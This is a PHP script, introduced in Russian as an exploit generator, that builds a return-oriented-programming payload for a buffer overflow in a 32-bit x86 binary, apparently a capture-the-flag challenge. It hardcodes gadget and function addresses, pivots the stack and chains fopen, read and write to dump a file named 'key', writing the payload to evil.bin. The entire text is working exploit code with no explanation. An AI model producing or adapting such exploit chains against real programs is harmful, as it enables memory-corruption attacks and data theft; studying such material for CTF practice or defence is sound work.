Скрпит для генерации эксплоита:
<?php
/*
.text:08048551 add esp, 10h
.text:08048554 pop ebx
.text:08048555 pop esi
.text:08048556 pop ebp
.text:08048557 retn
.init:0804813A pop eax
.init:0804813B pop ebx
.init:0804813C leave
.init:0804813D retn
.text:08048C05 83 C4 2C add esp, 2Ch
.text:08048C08 5B pop ebx
.text:08048C09 5E pop esi
.text:08048C0A 5F pop edi
.text:08048C0B 5D pop ebp
.text:08048C0C C3 retn
*/
$text_fopen = 0x0807A810;
$rodata_rc = 0x080B8B56;
$text_read = 0x08060C50;
$text_write = 0x08060CB0;
$text_exit = 0x08057010;
$esp = 0xbffffbc0+0x20; // gdb
// 08048368 mov edx, [eax]
$esp = 0xbffffc00;
$address = 0xbffff001;
$rop1 = "AAA"; // \nAAA -> ebp
$rop1.= pack("V", $text_fopen);
$rop1.= pack("V", 0x08048C08); // ret [pop ebx; pop esi; pop edi; pop ebp; retn]
$rop1.= pack("V", $address+20); // key
$rop1.= pack("V", $address+24); // mode
$rop1.= "key\x00";
$rop1.= "rb\x00\x00";
$rop1.= pack("V", $text_read);
$rop1.= pack("V", 0x08048554); // ret [pop ebx; pop esi; pop ebp; retn]
$rop1.= pack("V", 0x3); // 0x7 under gdb
$rop1.= pack("V", $address+400);
$rop1.= pack("V", 33);
$rop1.= pack("V", $text_write);
$rop1.= pack("V", 0x08048554); // ret [pop ebx; pop esi; pop ebp; retn]
$rop1.= pack("V", 0x1);
$rop1.= pack("V", $address+400);
$rop1.= pack("V", 33);
$rop1.= pack("V", $text_exit);
$rop1.= pack("V", 0x0);
$fill = "AAAA";
$rop2 = pack("V", 0x08048551); // ret [add esp, 10h; pop ebx; pop esi; pop ebp; retn]
$rop2.= pack("V", 0x08057290); // scanf
$rop2.= pack("V", 0x08048554); // ret [pop ebx; pop esi; pop ebp; retn]
$rop2.= "{fr}";
$rop2.= pack("V", $address);
$rop2.= pack("V", $address); // ebp -> esp
$rop2.= pack("V", 0x0804813C); // ret [leave; retn]
$rop2.= $fill;
$rop2 = str_replace("{fr}", pack("V", $esp+0x14+strlen($rop2)), $rop2);
$str = "%".strlen($rop1)."c";
$s = "{$rop2}{$str}\n";
$s.= "2\n";
$s.= "title\n";
$s.= str_repeat("a", 256).pack("V", $esp+0x14)."\n";
$s.= $rop1;
file_put_contents("evil.bin", $s);
?>